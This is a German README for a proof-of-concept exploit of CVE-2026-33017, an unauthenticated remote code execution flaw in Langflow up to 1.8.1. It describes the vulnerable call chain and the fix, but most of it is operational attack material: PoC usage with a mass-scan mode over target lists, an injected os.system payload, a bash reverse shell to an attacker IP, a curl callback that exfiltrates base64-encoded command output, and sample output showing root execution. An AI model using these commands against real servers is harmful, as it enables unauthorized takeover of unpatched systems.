
CVE-2026-33017 - Eine nicht authentifizierte Remotecodeausführung in Langflow <= 1.8.1 über den öffentlichen Flow-Build-Endpunkt
Nur für Bildungszwecke und autorisierte Tests.
Langflow <= 1.8.1 stellt einen öffentlichen Flow-Build-Endpunkt bereit, der vom Angreifer kontrollierte Flow-Daten mit beliebigem Code akzeptiert. Dieser Code wird an prepare_global_scope() in validate.py übergeben, das exec() ohne Sandbox aufruft, was zu einer nicht authentifizierten Remote-Codeausführung mit Serverprozess-Privilegien führt.
| Paket | Betroffen | Gepatched |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
Der Endpunkt build_public_tmp ist absichtlich nicht authentifiziert – er ermöglicht es jedem, einen gespeicherten öffentlichen Flow auszuführen. Die Schwachstelle besteht darin, dass er auch einen optionalen data-Parameter akzeptiert, der vom Angreifer kontrollierte Flow-Definitionen enthält. Ein nicht authentifizierter Benutzer kann daher beliebigen Knotencode einreichen, den der Server als legitimen Flow-Graphen behandelt und direkt an Codeausführungsroutinen übergibt, ohne Validierung.
Der Fix ist einfach: Entfernen Sie den data-Parameter und zwingen Sie den Endpunkt, ausschließlich build_graph_from_db() aufzurufen, sodass öffentliche Flows nur gespeicherte Daten ausführen, niemals vom Angreifer bereitgestellten Code.
Die Nutzlast des Angreifers durchläuft die folgende Aufrufkette, bevor sie zur Ausführung gelangt:
| Schritt | Datei | Detail |
|---|---|---|
| 1 | chat.py:580 | build_public_tmp empfängt Angreiferdaten im Request-Body |
| 2 | build.py:81 | start_flow_build() leitet die nicht vertrauenswürdige Nutzlast weiter |
| 3 | build.py:298 | build_graph_from_data() übergibt sie an die Graph-Konstruktion |
| 4 | base.py:1168 | Graph.from_payload() deserialisiert vom Angreifer bereitgestellte Knotendefinitionen |
| 5 | base.py:1323 | instantiate_component() wird für jeden Knoten aufgerufen |
| 6 | loading.py:43 | Das code-Feld wird aus den benutzerdefinierten Komponentenparametern extrahiert |
| 7 | eval.py:9 | create_class() erhält den rohen Angreifercode |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — keine Sandbox |
prepare_global_scope() in validate.py verarbeitet ast.Assign-Knoten während der Graph-Kompilierung – bevor eine Flow-Methode aufgerufen wird. Eine Zuweisung auf oberster Ebene im injizierten Code wird daher sofort ausgeführt:
_r = __import__('os').system("whoami") # läuft zur Kompilierzeit, nicht zur Flow-Laufzeit
Die Ausgabe geht an die Server-Standardausgabe, nicht an die HTTP-Antwort. Die Exfiltration erfordert einen ausgehenden Callback (Reverse Shell, Curl-Webhook).
| Endpunkt | Authentifizierung | Angriffsvektor |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | Keine | Remote, nicht authentifiziert |
| Szenario | Voraussetzung |
|---|---|
| A — AUTO_LOGIN aktiviert | AUTO_LOGIN=true: anonym ein JWT-Token erhalten, einen PUBLIC-Flow erstellen, ausnutzen |
| B — Bekannter öffentlicher Flow | Eine bekannte gemeinsame/öffentliche Flow-UUID: direkt ausnutzen, keine Authentifizierung erforderlich |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
| Flag | Standard | Beschreibung |
|---|---|---|
--url | — | Einzelne Langflow-Ziel-URL |
--url-file | — | Textdatei mit einer URL pro Zeile (Massen-Scan) |
--cmd | id | Auf dem Ziel auszuführender Betriebssystembefehl |
--flow-id | — | UUID eines vorhandenen öffentlichen Flows (überspringt Flow-Erstellung) |
--threads | 5 | Anzahl paralleler Threads für den Massenmodus |
--timeout | 15 | HTTP-Request-Timeout in Sekunden |
--no-cleanup | false | Den erstellten Flow nach der Ausnutzung behalten |
Wichtig: Der PoC verwendet
os.system()auf Modulebene — der Befehl wird auf dem Server ausgeführt, seine Ausgabe geht jedoch an die Server-Standardausgabe, nicht zurück an die HTTP-Antwort. Der PoC bestätigt nur, dass eine Ausführung stattgefunden hat ([+] VULNERABLE). Um die Befehlsausgabe tatsächlich zu erhalten, verwenden Sie eine der untenstehenden Exfiltrierungsmethoden.
Blinde Bestätigung (bestätigt RCE ohne Ausgabeerfassung)
python3 poc.py --url http://target:7860 --cmd "id"
Reverse Shell — mit lokalem Listener
# 1. Starten Sie einen Listener auf Ihrem Rechner
nc -lvnp 4444
# 2. Senden Sie die Reverse Shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
OOB-Exfiltration via HTTP-Callback — mit lokalem Server
# 1. Starten Sie einen lokalen HTTP-Server
python3 -m http.server 8080
# 2. Exfiltrieren Sie die Ausgabe via Curl-Callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
Mit einer bekannten öffentlichen Flow-UUID (keine Flow-Erstellung erforderlich)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
Massen-Scan aus Datei
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Ziele : 1
Befehl : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT-Token erhalten
[http://target:7860] flow: erstellt (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE ausgeführt
[http://target:7860] flow: gelöscht (3f2a1b4c-...)
============================================================
ZUSAMMENFASSUNG
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 Ziel(e) anfällig
Auf dem lokalen HTTP-Server eingegangene Ausgabe:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
exec()-Problem auf /api/v1/validate/code